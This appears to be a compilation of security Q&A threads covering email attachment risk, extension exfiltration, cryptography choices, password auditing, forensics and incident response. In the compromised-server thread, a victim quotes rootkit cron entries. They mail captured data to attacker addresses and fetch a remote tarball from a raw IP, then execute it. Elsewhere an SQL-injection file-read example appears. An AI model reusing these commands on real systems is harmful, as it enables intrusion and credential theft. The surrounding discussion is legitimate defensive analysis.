Is it possible to get infected by opening an email in Android Gmail app? I just received an email from an unknown person, titled "da vinci" and containing a docx file with the same name. Not suspicious at all, right?

I have not opened or downloaded the file, but:

The email has been downloaded by the Gmail app in my Android phone (probably including the attachments).
It has been "read" by the app, in order to show me an Android notification about it.
Once in the Gmail app, I have opened the email myself (not the .docx). The only text it contained was "Scanned by Avast" and some url. The app also showed me a small snippet preview of the Word document.

Is it possible to get infected this way? My guess: yes, but not very likely.

From the notification itself: yes, if the email body somehow exploits a vulnerability in Gmail's app or in Android. (Is there such a thing? Is this answer still valid?)
From reading the email on Gmail's app: same answer. Or it could contain malicious Javascript... although I'm not sure if Gmail's app renders Javascript or only html and css.
From the Word attachment: I guess again yes, if it somehow exploits some vulnerability in the Gmail snippet function.
Assuming the .docx actually was a virus, I guess it would focus on Windows and Word, not in some Android / Gmail vulnerability, right?

In this specific case, I've already deleted the email, should I do anything else? Reboot the phone or something?

TLDR

  Is it possible to get infected this way?

Yes, it's possible.
Is it likely? No.

Actual Answer

Let's take a look at your scenario from the attack surface perspective and also suggest methods to mitigate as much as possible.

First of all its a must to always keep your Android and Apps up to date with the latest version. For example, both Gmail App and the download component of Android have suffered from vulnerability in the past, though for the time of this writing there is no known vulnerability in both as far as I am aware.

  The email has been downloaded by the Gmail app in my Android phone (probably including the attachments).

A good attack surface reduction would be to disable the app auto-download feature of attachments. The following article should help.

  From reading the email on Gmail's app: same answer. Or it could contain malicious Javascript... although I'm not sure if Gmail's app renders Javascript or only html and css.

Although super paranoid, however, since its roughly possible attack vector, you can use a different app such as Thunderbird and view your emails without HTML rendering. Unless you work at a nuclear facility or part of UN human rights watch etc this is overkill.

  From the notification itself: yes, if the email body somehow exploits a vulnerability in Gmail's app or in Android. (Is there such a thing? Is this answer still valid?)

I can't remember an actual exploit/vulnerability taking advantage of the notification mechanism (this would be crazy difficult to exploit properly) but again from attack surface perspective you can disable notifications from the app.

  From the Word attachment: I guess again yes if it somehow exploits some vulnerability in the Gmail snippet function.

Similarly to my previous comments, no known exploits was ever found as far as I am aware in gmail preview feature but you can disable the preview feature from settings. This is a good practice to avoid miss clicking malicious links etc.

  Assuming the .docx actually was a virus, I guess it would focus on Windows and Word, not in some Android / Gmail vulnerability, right?

Correct, you are probably looking at a typical malware spam campaign.

  In this specific case, I've already deleted the email, should I do anything else? Reboot the phone or something?

In this specific case, it seems like you don't need to do anything, its not a targeted attack and its not focused on you or your Android. Though it was fun answering your other questions (:


Can Chrome Extensions Send Data to Remote Servers? Suppose an extension has a scary list of permissions like that below ("Site access: On all sites"):

Does this also give the extension permission to send my data to the author's servers via XHR?
I've read the documentation here but lack some background knowledge, so I am not sure in my interpretation:
Cross-Origin XMLHttpRequest
After reading this, it seemed like the extension isn't allowed to send my data somewhere unless it has lines like the below in the manifest - is this correct?
"permissions": [
    "https://www.google.com/"
  ]

After reading this, it seemed like the extension isn't allowed to send my data somewhere unless it has lines like the below in the manifest - is this correct?

This is incorrect.
XHR (and fetch) requires the permissions key to be set correctly to avoid cross-origin restrictions, but there are various ways to send data to a remote server, f.e. an auto-submitting form in a iframe, or loading a remote image with some parameters in the URL.


Is it secure to auth API requests using an RSA? I would like to give our users the ability to access to private data using an API.

I don't want to store the API credentials in my database. (Same reason I don't store the password in plain in the database.
I have no problem that others will be able to read the data that sent to our server.
I don't want the credentials to be sent to our server because others will be able to clone the credentials.
I do not trust SSL. (Some users may have untrusted root certificates)
I want to ensure that if someone has read access to the server, he can't generate new messages on behalf of other client.s

What others did, was using api_key and secret. They used the secret to sign the message. (See Bitfinex for example https://docs.bitfinex.com/v1/docs/rest-auth)

I thought that it is more secure to use RSA. Each user will get a private key (we will not store it). They will use it to encrypt the message (using nonce), We will use a public key to decrypt it.

I know that there are a performance issue with RSA, but it is for very short messages, so it is not concerning me.

Why others not doing it? There is any security issue with it?

It is possible to create a secure system this way using RSA, but you're looking for a world of pain and it's likely you'll end up creating an insecure system.

RSA is a very low level cryptographic primitive, it's way too low level for an application developer to work with and using it exposes you to a lot of vulnerabilities if not used correctly. Leave writing cryptographic code to the experts and use higher level cryptography, either TLS or OpenPGP should be the level that you're looking at, not RSA.

  I know that there are a performance issue with RSA, but it is for very short messages, so it is not concerning me.

The issue with RSA isn't just performance. RSA cannot be used to encrypt data larger than the key size minus any paddings, which means that a 2048-bit RSA key has a maximum input size of 256 bytes (or 245 bytes if you use v1.5 padding). This means that if you want to encrypt data larger than this size, you need to implement a chaining mode, and chaining mode is one of the most easy things to get wrong when implementing cryptography. Additionally nobody had ever implemented or does any cryptoanalysis on RSA chaining mode (most chaining mode are analysed for symmetric ciphers), so you are on your own there.

Another problem is that all cryptographic primitives eventually need to be replaced as computers get stronger and vulnerabilities are find in these primitives. Therefore, all practical cryptography applications need to add metadata that allow negotiation and replacement of the encryption primitives and its parameters. TLS, S/MIME, OpenPGP, and the crypt password hash format all have this capability built into the protocol. This is also another aspect that's easy to get wrong.

Another issue that plain RSA doesn't do is replay prevention. For this, you need to add a salt or IV, and possibly a challenge. And the order you layer signing and encryption also comes with their own pitfalls.

I could go all days explaining the various pitfalls if you're trying to use plain RSA to implement any cryptography system.

High level protocols like OpenPGP and TLS uses RSA as the underlying primitive but when you use a high level cryptographic protocols, those issues have been thought out for you by expert cryptographers and their implementations have been highly scrutinized as well. All the remaining issues are either resolved or it's fairly easy to configure the system when there's a trade off.

OpenPGP in particular have a signing mode, which effectively does what you mentioned, using private key to sign a data to prove authorship, though in more sophisticated ways. An OpenPGP signature is created by encrypting a hash of the message rather than the message itself, thus avoiding the need to do chaining and it adds a number of metadata to protect against various attacks. TLS have similar properties during handshake if you use Mutual Authentication but they are implicit in the connection, so it may not be suitable if you want to store and/or forward the proof of authorship to another entity.

TL;DR Don't roll your own cryptography. If you need to persist the proof of authorship, use OpenPGP signature; otherwise just wrap the communication in TLS using Mutual Authentication.

  Why others not doing it? There is any security issue with it?

Because it's stupidly complicated to get it right, when you can just use TLS mutual authentication with just a few lines of code. Unless your scheme is going to be as massively scrutinized as TLS and OpenPGP, I can assure you your scheme will have weaknesses you would have practically no chance to discover.


Finding out whether a website uses unsalted MD5 for password hashing I'm working on a project where websites are analyzed and rated according to password security (factors like min/max password length, alphabet size and more are then calculated into a score).

A great factor to know would be whether a site uses unsalted MD5 hashes to store passwords. To verify that, a collision could be provoked by registering with one password and then logging in with the collision. But data sent via HTML forms is usually ASCII encoded, so I cannot use one of the many known binary MD5 collisions.

Are there any known MD5 collisions between two ASCII-encoded printable strings?

or alternatively:

Is there a way besides collisions to find out whether a website stores passwords as unsalted MD5?

To my knowledge (but I might have missed some recent results), there is no known ASCII-compatible collision on MD5.

The main conceptual reason for that is that collision-finding works by introducing some small bit differences, and then trying to cancel out these differences with each other, before they spread too much in the algorithm. Namely, for a given input message m, you consider message m' which differs from m by a few bits. By comparing all the internal values in the computation of MD5 on m and m', you can see the differences propagate. Two differences on the same bit may cancel out, sometimes with probability 1 (if you flip the same bit twice, you get back to the same value), sometimes with a lower probability, i.e. it works only for some possible internal values. That's because operations in MD5 are not just XOR; there are also some bitwise non-linear functions, and a lot of additions. Additions imply carry propagation. A lot of MD5 cryptanalysis is about coping with carry propagation.

Thus, an MD5 collision attack is mostly about choosing a differential path, i.e. a difference between m and m', which has a non-negligible probability of being fulfilled throughout the algorithm and cancelling itself out, yielding a collision. Then you try a lot of pairs (m,m') which differ by that source difference, until you get lucky. Message modification techniques are ways to improve your chances by tweaking pairs of messages which do not work for the whole differential, but almost work. Regardless of such techniques, you still have to work with a differential path which has a not-too-low probability of fulfilment.

Since carry propagation is the main problem in designing a good differential path, the useful tool for that is to modify the upper bit of 32-bit words. Indeed, if 32-bit words u and v differ only by their most significant bit, then u+v will necessarily be equal to 0x80000000, for all values of (u,v): for that bit, there is no carry (the carry, if any, "falls off" the word because we are using a 32-bit addition which truncates the result to 32 bits). That's a one-bit input difference which yields a one-bit output difference with probability 1: a very useful tool. It turns out that most (all of ?) known differential paths which have a high enough probability to yield a practical attack rely, at some point, on such one-bit differences on upper bits.

However, playing with the upper bit of an input word means that there is at least one byte in the colliding pair such that one of the messages will include a byte value in the 128-255 range. I.e. a non-ASCII byte.

A lot of what I explained above is based on vague hand-waving, but it should show the gist of the idea: the "fast" known ways to obtain a MD5 collision imply playing with a few bits of a message, and, right now, this includes the high bit of some bytes, making one of the colliding messages non-ASCII.

The slow way of finding collisions is to try random messages until a collision is found, with no constraint -- so these messages could then be full-ASCII. If you generate a lot of 11-character passwords, with characters being uppercase and lowercase letters and digits, then you should reach a collision when you have hashed about 264 of them, i.e. about one third of all possible 11-character passwords. Unfortunately, while a 264 effort is technologically feasible, it is still very expensive, and nobody has run it. Yet. At least publicly.

From the outside, there is very little you can do to determine the way the password is stored. At best, if password verification appears to be very fast (server responds within a few milliseconds), then you can prove that the password hashing is insufficiently iterated (unless it uses a "pepper", in which case it might be fast and secure at the same time -- see this answer for terminology). Otherwise, to prove the use of a specific hash function, you need collisions, because that's all the information you can obtain: whether a given password works for a given user, or not.

If you can look at the database contents (and the whole point of hashing passwords is based on the idea of an attacker who can do exactly that), then you have a lot of extra information:

If two users with the same password obtain the same hash value, then there is no salt (that's bad).
If two users with the same password do not obtain the same hash value, but the same user, changing his password back to a previous password, gets his hash back to the old value as well, then there is no real salt; the user name is used as (part of) the salt (that's bad too, albeit less so).
You can try candidate hash functions directly.


Which security risks are associated with alternative DNS providers? I'm considering using an alternative DNS provider on my computer. Which risks do I run if I use one?

I already know that the DNS provider may return a malicious IP address when I'm trying to access google.com for example, leaving me under the wrongful impression that I've reached Google. I'm currently assuming that SSL traffic is safe because I'd get a security warning. Anything else I should be keeping in mind?

In addition to the risks that you've noted about being returned, it's possible that access to SSL sites could also be jepordised in this scenario in a couple of cases.

If you access any SSL sites who don't use correctly issued certificates it would be difficult to differentiate between the invalid certificate warning you usually get and the one that you're getting with a malicious DNS provider
If the attacker is able to get access to a CA certificate that your browser trusts they would be able to MITM SSL connections without this being obvious.  This scenario is only likely in the case of high-end attackers (e.g. government level) who can either compromise a a CA or persuade one to issue a CA certificate.

That said if you're generically looking for an alternate DNS provide you could consider Google public DNS depending on how much you trust Google, this could be a good option.


How to securely audit passwords using John the Ripper When my clients create a password, they are shown a strength meter and I have set the requirements fairly high. However, the strength meter is essentially only useful if being attacked by a very dumb brute force cracker. I know for a fact that passwords can be created that are easier to crack with software like John the Ripper. For example, it's easy enough to make sure  people aren't creating passwords like "password1", but I need to catch common non-dictionary terms like "NCC-1701-D" (the registry number for Star Trek Enterprise) and other stuff that crackers commonly check for ("qwerty, "asdf", etc). It is my understanding that cracking programs get better as they have access to more cracked passwords (thanks LinkedIn, Evernote, LivingSocial...) because the cracker is able to start with the most common passwords, and even search for common "word fragments" within passwords and add them to the dictionary...

So how can I get access to some of these advanced configurations of John the Ripper--I know the program itself is free to install, but how do I get these advanced constructed dictionaries? Also, what are the security implications of hacking my own accounts? I can't think of how this could really be problematic--unless I store the cracked passwords plaintext or something. Am I missing some obvious problems that this would introduce?

EDIT: I am thinking of generating my own rainbow table for my salt* and then uploading the list of hashes. Then if a user's salted hash matches one from the rainbow table, they're forced to create a new password upon their next login (or even better, it's checked against the rainbow table when they first create it and it gets rejected if there is a match, though I'm not sure if this might be computationally too expensive.)

*D'oh! As pointed out below, that's not how salting works. Is there a feasible way to check passwords against a "password blacklist" without exposing the password in the process?

Don't bother! Instead of preoccupying yourself with how secure your user passwords are, may I suggest you instead make sure they're as secure as they can be once they chose any of sufficient minimum length and complexity?

  I am thinking of generating my own rainbow table for my salt and then
  uploading the list of hashes.

You've just revealed you're not even salting passwords in any effective way. One single non-unique salt value should not be used on more than one password hash! Full stop. Needless to say, what you wrote clearly indicates you're using one single database-wide padding in a place where salt should be. Instead of calculating how difficult it would be to attack password hashes with a tool like John The Ripper (JtR), you should rather make these types of attacks nigh impossible on any passwords used that match a minimum required length and/or complexity.

I shall now refer you to this answer: How to securely hash passwords?. No need of me to write it all again then, I believe. Read it, understand it, worship its author, for once you implement the wisdom it holds, you shall sleep with a rested mind and never think of JtR again!


Bluetooth low energy encryption using chacha20-poly1305 The BLE data is encrypted using AES-CCM. the TLS1.3 removed AES-CCM from the cipher-suits due to security issue.

My question :
why don't they encrypt the BLE using chacha20-poly1205 ? is it because there is no hardware support for chach20-poly1305?

TLS 1.3 has not removed AES-CCM, and it is not insecure. The issue with CCM modes is simply that they are very inefficient, requiring two invocations of the block cipher for every encryption of a single block. The only reason anyone would want to use CCM is if the device in question supports hardware-accelerated AES encryption and does not support hardware acceleration for components of GCM, or because of extreme space constraints that make re-using AES code better than implementing GCM.

The reason Bluetooth is using AES is because it was very important for this version to be fully FIPS-compliant. FIPS is a US government standard that specifies, among other things, the ciphers and modes of operation that are approved for government use. AES and CCM are part of FIPS, but ChaCha20 and Poly1305 are not. Remember that the previous versions of Bluetooth did not even use AES. Instead, they used their own homebrew stream cipher called E0, which turned out not to be particularly secure. It is vulnerable to a variety of attacks, in particular known-plaintext attacks.

An answer on our sister site explains this with more authority:

  I know from being in a meeting that FIPS-140 validation for Bluetooth was an important conversation with the Bluetooth LE spec, which is why AES was added. I can only assume that AES was not used in the original ICs due to cost on the hardware side. Looking at 130nm dies (so, back in the day), AES would cost me about 0.03 USD in area. Just by guessing the area of E0, I would say it's 0.01 USD, so it must have mostly been an economic consideration during the time of early adoption.


Convince colleagues that resetting passwords on behalf of users is dangerous We have a web application which requires users to log in with username and password. We have a password reset feature for users which more or less successfully follows the guidelines outlined by Troy Hunt in this article, with 1 major exception, we have a weak link:

We have an admin portal with a feature which generates a temporary password and displays it on the screen to the Admin was added, with the understanding that this is to be read out over the phone, rather than emailed. To be clear, an admin also has the ability to request a password reset email on behalf of user (and sent to user's registered email), but this is never used.

We have plenty of users who are not very computer literate, and some of them struggle to create/reset a password by themselves (despite the password requirements being clearly signposted before the user enters the new password). To make their job easier our guys have taken to using this temporary password to reset the password themselves to variations on the same common password and reading this out over the phone. I feel this is an unacceptable security risk.

I've tried to convince them that if any admin can reset a password we can't truly identify a user. A user would have carte blanche to say "It wasn't me" to any action they carry out after an Admin has set their password, but they're not convinced that this outweighs the extra difficulty they would face. I've tried to convince them that resetting the password of anyone who asks to the same generic password makes accounts much easier to compromise, again no dice.

I've thought that a legal argument may carry more weight (UK based so GDPR may be a factor) but I don't have the knowledge to explain why (if?) this would be in breach.

Another alternative may be to compromise on something else (perhaps reduce password complexity requirements, although I don't feel they are onerous now) to mitigate the impact of removing this feature.

My colleagues and management are not at all versed in IT security. How can I convince them that this is not an acceptable state of affairs, and carries risks for them personally and for the company? Alternatively, are there any reasonably secure compromises I could offer?

GDPR

GDPR does apply in the sense that user passwords fall under the "personal data" section and needs to be properly handled in line with the reasonable business need to process the password. That gives your company a lot of interpretive wiggle room.

Risk Assessment: Impacts

As an IT professional, it is not your duty to beat people over the head with "best practices". It is your job to know best practices and to understand their impact, and then to communicate the risks involved in taking any direction.

  but they're not convinced that this outweighs the extra difficulty
  they would face

It is entirely possible that they are correctly assessing this. They may not be, but consider the possibility that they are, and prove the correctness of their assessment. Is the data and the service of such low value that user experience has a higher value? If so, then they are correct.

  we can't truly identify a user

Do you need to? What is the impact if you can't? If the impact is low, and you ultimately do not need to, then they are correct.

  makes accounts much easier to compromise

Does it matter if the accounts are compromised? How much does it matter? Again, if it does not matter, then you will not find a way to convince anyone of the value of your point of view because it has no value.

The passwords being handed out are technically "temporary passwords" and I can't imagine any management team wanting to spend any amount of time or energy strengthening this process. There is just so little value.

Risk Assessment: Likelihood

But what if the value is proveably high and they still are not taking your point of view seriously?

I suspect that the people you are talking to are doing their own risk calculation in their heads. Risk is often defined as the relationship between likelihood and impact (risk = likelihood x impact). If you can show the high impact, but they still assess the risk as low, then they are probably thinking that the likelihood is low.

"We trust our admins."
"Our customers are not savvy enough to try to hack the system."
"We are not big or important enough for hackers to be interested."
"We have not been hacked before."
etc.

If this is true, then you have an uphill battle because you are fighting against emotion, psychology, and cognitive biases. You are also fighting something that is conceptual and very difficult to calculate objectively. InfoSec Risk is notoriously difficult to assess (I have done a number of talks and papers on the subject).

Unfortunately for your customers, all it can take is one bad incident for management to flip their understanding of likelihood. That's why penetration tests and security audits can be useful. They can act as simulated events than can help quantify likelihoods.

Risk is a Management Decision

As hard as it is to hear, risk is a management decision. If they decide, with all your information, that the risk is low, then that's that. If you believe that the risk is still high, then start planning for how to mitigate the risk when it happens so that you can protect both your company and your customers, but know that you will likely not get time or budget to develop those mitigations. You will look very good if you have a pre-made solution, though, when bad things happen.

Your Job

In short, if you want to convince them of the risks, then you need to define the risks in terms that they understand. It might take some time to get to know what they value, but that becomes your job; understand the risks yourself and learn how to communicate risks to those who do not understand. This is the true burden of information security.


Windows Firewall - how to block inbound for all .exe files in a folder In Windows Firewall with Advanced Settings I can create a rule which blocks all inbound or outbound traffic for particular program by pointing to its .exe file. The problem is that this program has many .exe files in its directory, as well as additional ones in its sub directories.
So my question is: do I need to make separate rules for each .exe file, which in this case would mean about 50 rules? Or is there a way to block the traffic for a group of .exe files based on their location on the local hard drive?

You can use a Simple Batch File.  Open Notepad and copy/paste the script below into a blank document.  Save the file as BLOCKALL.BAT.  Now copy that file to the same directory as the EXEs you want to block and double click it.  It will add outbound rules to advanced Windows Firewall settings blocking all EXEs in that folder and sub-folders as well.

It is tested with Windows 7, but it should work with other versions of Windows that use Windows Firewall.

NOTE: Batch starts itself in system32. Thus you need to prepend it with cd /d "%~dp0" to make it work in current directory.

The resulting script would be as follows:

@ setlocal enableextensions
@ cd /d "%~dp0"

for /R %%a in (*.exe) do (

netsh advfirewall firewall add rule name="Blocked with Batchfile %%a" dir=out program="%%a" action=block

)


Always setgroups before setuid? On GNU/Linux systems that are build using RPM packages, the rpmlint utility complains about programs that don't call setgroups before setuid.

The idea is that before dropping privileges, a process should also drop the list of supplementary group ID's with setgroups(0, NULL).

However, is this something that should always be done?

Suppose that we are running setuid root, and are carrying a list of supplementary group ID's from our original security context: the groups associated with the real user ID.

When we drop back to that real user ID, we don't necessarily want to lose those groups: code executing as the original user may depend on those supplementary memberships being in place, right?

Should we not omit setgroups(0, NULL) in setuid code before dropping privs to the original user?

(By the way, of course we don't drop privileges with setuid on Linux because that doesn't work for code running setuid non-root.)

This almost entirely depends on whether you're temporarily or permanently dropping privileges.

In the case of temporarily dropping privileges, it's actually ill-advised to call setgroups with a single group as you'll be wiping the list of ancillary groups, potentially making it impossible (without external intervention) to restore the process back to its original privilege level.

In the case of permanently dropping privileges, it is important to clear the ancillary groups list in order to make it more difficult for an exploit to re-instate privileges after they are dropped. The problem arises when you attempt to do this the wrong way around: if you setuid to a non-zero value first (meaning you're no longer root), then call setgroups, the effective uid of the process is now no longer root, meaning that the internal setgid call fails. Doing it the other way around doesn't have this problem because calling setgid first doesn't alter the effective uid of the process, allowing setuid to be called.

More info can be found here:

CERT C rule POS36-C
Dropping Privileges in setuid Programs


Does the strength of a password depend on the process which generated the password? In this question, discussing whether http://howsecureismypassword.net is safe to use, @ThomasPornin commented

  "Mathematically, the strength of a password depends on the process which generated the password, and cannot be measured on the password alone"

Is this true? If so, can someone please explain why?

[Update]  After seeing @Pascal's answer, the penny dropped.

I had interpreted it as "for any given password, how you arrived at it makes a difference", rather than "different methods have different results, some more secure than others".

A password strength checker cannot actually know how random your password is, what a strength checker does is try a combination of preprogrammed password generation/guessing methods and try to evaluate the strength of a given password based on those.

For example, if you enter the password:

correct horse battery staple

The site gives you 15 octillion years, which is misleading because I generated that password non-randomly by reading a certain comic.

Or a password like:

passwordpasswordpasswordpassword

claims to be 2 octillion years, despite the obviously non-random password.

The point is, if the password generation method you use is not preprogrammed to the strength calculator, then a strength checker can give an impression that a password is stronger than it actually is.

Better password checkers like zxcvbn have more preprogrammed patterns to check against, but it's still limited by the same fundamental issue.


Serpent cipher technical details in-depth Would anyone be so kind so as to describe to me the Serpent-256 cipher? How does it work and how secure is it compared to AES?

I have searched everywhere and found scarse info about it.

Anything related to it (speed, security, mode of operation, programs which use it, etc.) are highly appreciated.

Description of Serpent

I'd suggest you read the paper submitted during the AES contest:

Serpent: A Proposal for the Advanced Encryption Standard (pdf)
The Case for Serpent (pdf)
Look at the code and other papers from the Serpent homepage

Speed

Serpent is slower than Rijndael (cipher chosen to become AES), because it uses more rounds.  See these benchmarks, Serpent in CTR mode could encrypt 32 MiB/sec while AES-256 in CTR mode could encrypt 96 MiB/sec.  Additionally Serpent took 1.2 microseconds to setup key and IV while AES-256 took 0.76 microseconds.  More benchmarks from the AES contest are available here; on a variety of platforms Serpent can encrypt 2 to 4 times less data than Rjindael (granted this was Rjindael which was slightly tweaked to become AES).

Security

Roughly equal in that both when implemented properly are secure against all known computationally feasible attacks.   There are slightly better attacks on AES, but all the public attacks on AES are not computationally feasible (e.g., 4 times faster than brute-force) as well as other obscure attacks on AES (that is there's a related-key attack on AES that assuming some strange conditions is significantly better than brute force but is irrelevant for AES as typically used in a way susceptible to the attack, and then even then the best related-key attack takes 299.5 time which is not feasible).  A large reason for more attacks on AES is that AES is widely used and analyzed, Serpent is not used nearly as much as it didn't win the AES competition (Rijndael won and became AES).

Mode of Operation

The mode of the operation is independent of the block cipher used--it's a separate choice.  That is you can use either serpent or AES or any other block cipher in any block cipher modes.  A mode of operation just considers how you take a block cipher that can only be used to encrypt/decrypt blocks of a fixed size (e.g., 128-bit block for Serpent256 and AES256 - the 256-bit stands for the keysize) and use it to encrypt/decrypt arbitrarily sized blocks of text without potentially leaking information if your plaintext is redundant (except in ECB mode which is an insecure mode where you naively just split the plaintext into equal sized blocks and apply the block cipher on each block independently).


Use Snort to limit or prioritize application bandwidth usage Short version of a long story, we've been using bluecoat packetshapers for bandwidth control on a multi-tenant network. We like it because it allows us to divide the bandwidth equally, but still allow for bursting from one site when the bandwidth isn't contested.

Additionally, we use it to identify application flows from within the tenants on the network and can prioritize real-time protocols for them over less sensitive traffic like MS Updates, iTunes content, etc.

We are looking for an opensource alternative. It looks like I could perform the inspection using Snort in combo with OpenAppID. OpenAppID looks like it is receiving regular updates so I think it will be able to do a decent job of traffic identification. However, I can't tell if there is anyway within Snort to place bandwidth limits or priority levels on identified traffic flows. It can obviously block connections, but we aren't looking to block traffic, just throttle it. Anyone know if this is possible in Snort, or another opensource project I haven't seen yet?

Snort is designed for Network Intrusion Detection. For bandwidth shaper, you need to get a firewall system. Products you can try:

pfsense
wfilter NG firewall
untangle


Need advice on linux server being hacked I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it was happening randomly, it was hard to detect. I followed help from this blog article:

http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/

This led me to search through each of the apache modules and eventually found a module that was injecting the malware. It went under the name of mod_string_mime.so and was being loaded through /etc/httpd/conf.d/mailman.conf to avoid detection. Very frustrating. So, the module is now deleted and the mailman.conf file is back to normal.

Digging further, I installed and ran rkhunter. Upon running this, I found a warning for a suspect file in /etc/cron.daily/ called dnsquery. In this file, this is what it looks like…

#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail unul_catalin@yahoo.com -s "$(hostname -f)" < test
mail cata@catalinx.org -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

I've tried to delete this file but it keeps coming back every minute. The owner and group is 'psaadm'. I can't find how it's being created. I assume it's generating through plesk cron or something.

I also found this in the crontab:

*   *   *   *   *   chattr -AacDdijsSu /bin/; cd /root ; wget http://77.241.87.75/xpsa/skdet.tgz; chmod +x skdet.tgz; tar zxvf skdet.tgz ; cd skdet ; ./inst; rm -rf /usr/share/misc /root/sk* /tmp/nc* /root/ssh/;

which doesn't look right.

Any suggestions on how to proceed or locate the intrusion?

First things first. Your machine was compromised, and several things were installed to keep it compromised. This cannot be salvaged; the machine should be cleansed with fire. You will not be able to avoid a complete format & reinstall. Your system is dead; shed a tear on it, then move on.

Now, we are only talking about post-mortem analysis. The crontab visibly downloads every minute a package (the "skdet.tgz" file) which is then uncompressed and launched, and does a few... interesting things. For instance, it automatically plunders and sends by email your /etc/shadow file. You may want to download the file on another machine, uncompress it, and inspect the contents (do not launch any file in it !); it is instructive.

The package contains a "message" in which the rootkit author claims that he did not break anything and that he could help in removing the rootkit if contacted, although he does not speak about any conditions. This could be a genuine scientific experience which got out of hand; this could also be a more mundane case of ransoming.


Just how bad is Spectre? Reading the whitepaper, it sounds like doom and gloom. The main webpage states “Spectre is harder to exploit than Meltdown, but it is also harder to mitigate. However, it is possible to prevent specific known exploits based on Spectre through software patches.”

This would seem to imply that it is not possible to prevent unknown exploits based on Spectre through software patches, is that true?

The core of the Spectre attack is to use mis-training of the CPU's branch predictor to cause the CPU to speculatively branch to an attacker-selected fragment of code while executing the target program, then observe indirect effects of running that code.  This is only possible because current CPUs share branch-predictor state across all threads running on the computer.

It is possible to write x86/amd64 code that is immune to Spectre by inserting instructions that prevent speculative execution after each branch (eg. the cpuid or mfence instructions), but this comes at the cost of a fairly severe loss of performance, and can only be applied to new software.

A CPU that permits flushing the branch-predictor state could be made immune to Spectre by resetting the state on each context switch (at the cost of some performance).  Neither Intel's nor AMD's implementation of the x86/amd64 architecture appears to have such an instruction (yet), but I expect it to show up in a few years.  This would have far less of a performance impact than preventing speculative execution, because even an uninitialized branch predictor is about 70% accurate.


Did I miss anything when checking for passwords? I was provided with a "challenge" forensics image of 2MB in size (floppy); they provide the disk image and want you to uncover as many passwords as you can find. I downloaded the image and dd'd it to a thumbdrive.  The only thing visible was a text file, which contained a password.

I knew there had to be more, so I used an undelete utility and found 2 deleted files. First there was another text file with a password - easy. The other was a .pst file which I mounted into Outlook. There were some emails with passwords, as well as an email with an image. Another email has a link to a steganography site.

Obviously, there was a file hidden in the image, so I went to the website and downloaded the steganographic decoder.I had to try some of the passwords I had found to get the file to decrypt, and sure enough, there was another text file with a password. I called it a day at that point.

Did I miss any other methods?

Forensics is a very interesting field to get into because it really all comes down to detective work. First finding the breadcrumbs, then following them to their conclusion. You're definitely off to a good start. As was mentioned by a commenter, the program strings is very handy. It processes a binary file looking for sequences of printable ASCII characters. Using it you can often find text segments of databases or executables and sometimes very handy data.

I would also try taking the next step and move on to trying out an actual forensics examination tool. The Linux tool Sleuthkit, and the web interface Autopsy, are fantastic free tools for doing this kind of work. You'll also want to look more in-depth at the technique called File Carving, with some of the available tools listed on this wiki page. Since good file carving doesn't always depend on certain file system data structures being intact, you will be able to find a lot more files than a simple undelete will.

Since most of the good free tools are Linux based, you'll need to have an acceptable working environment. If you don't, then try your hand at using the BackTrack LiveCD. It is a Linux distro specially designed for use by penetration testers, and to a less extent forensics examiners. It ships with both Sleuthkit and Autopsy, as well as a large number of file carving and other forensics utilities.


Is it possible for a hacker to download a php file without executing it first? I have a php website where everything is in the public_html\ folder, including an includes folder with config and classes. I told my developer to move it away from public folder but he said there is no risk as files are php files and even if someone types in browser the

  www.example.com/includex/config.php

all they will get is a blank page.

Is that correct? Is there no way someone can download a php file and see whats inside, even  if hacker logs into my server somehow to download the file or include it in a php file on his server using XSS?

In order to read PHP code you need a directory traversal vulnerability. file_get_contents() or other file system functions that are exploitable.

SQL Injection under mysql can be used to read source code.  For example:

select load_file("/var/www/index.php")

To combat this make sure file_privs are disabled for the MySQL user account used by PHP.  If display_errors = on in your php configuration then an attacker can obtain the path to your web root,  and use sql injection or directory traversal to read source code.

Using FTP means that source code is transmitted in plain text.   Use SFTP,  and make sure you have a strong password -- or better yet, set up an RSA key.

Be careful of backup files,  sometimes editors will create index.php~ or index.php.orig files which can discovered using forced browsing.


Looking for a Meterpreter binary for android I tried meterpreter for android. The apk that is generated by metasploit by giving remote host ip & port and then run on target phone. I found it as a handy tool to access my phone remotely.
I need a standalone meterpreter binary for android. So that I could directly run on android terminal emulator app and access my phone remotely. I don't need that generated apk file.

Please share here, link for standalone meterpreter binary file or Guide me how to make one.

you could try drozer by MWR Labs. it's pretty much meterpreter. it can be a little hard to get the hang of at first, but i'm pretty sure it'll do what you want. it does require an .apk install though.


Is there guidance that says all sessions to be logged off when a user changes their password? Often when an account is hacked, security guidance is to change your password.  However I've noticed that changing a password sometimes isn't enough to log out of other sessions that are active.

Is there any accepted security guidance that recommends or requires that all logon sessions are expired and must be re-authenticated?  This could be industry specific, or from a respected government or private company that publishes similar guidance.

I found an interesting approach in practice, where Facebook gives the user the option to disconnect all sessions

OWASP cover this in the top 10 (2010) under "Broken Authentication and Session Management".  The closest statement probably is that it mentions that sessions should be regenerated upon successful authentication of privilege change coupled with Session Timeout session fixation attack prevention.  That's about as close to a standard as you will get.

Other standards such as ISF SOGP etc are too high level to cover this.


How can I add a MISP STIX feed to LogRhythm? I have a MISP server set up. I then use a REST API endpoint to get a STIX feed from that server. This portion appears to be working fine. I then try to add that STIX feed to LogRhythms Threat Intelligence Service manager. It tells me that it is successful and the "Test" button returns a positive result but I cannot see any of the indicators from my feed in LogRhythms list of lists. Where are they located? Which lists? Do I need to create the list somehow?

I figured it out. Basically the version that the Threat Intelligence Manager expects is something like 1.0.1 and the version that MISP supplies is something like 1.1.1. There is no way to adjust the version of the output on MISP, and there is no way to adjust the version of the input on the Threat Intelligence Manager that I can see. What I ended up doing is writing a script which fetches the IoCs from the REST API, parses the file, and stores the IoCs in a text file in LogRhythms feed import folder located at "Program Files\LogRhythm\LogRhythm Job Manager\config\list_import". Then you need to add lists in LogRhythm's Console by going to the list manager and configuring the list to auto-import from the text file with IoCs in "Program Files\LogRhythm\LogRhythm Job Manager\config\list_import".


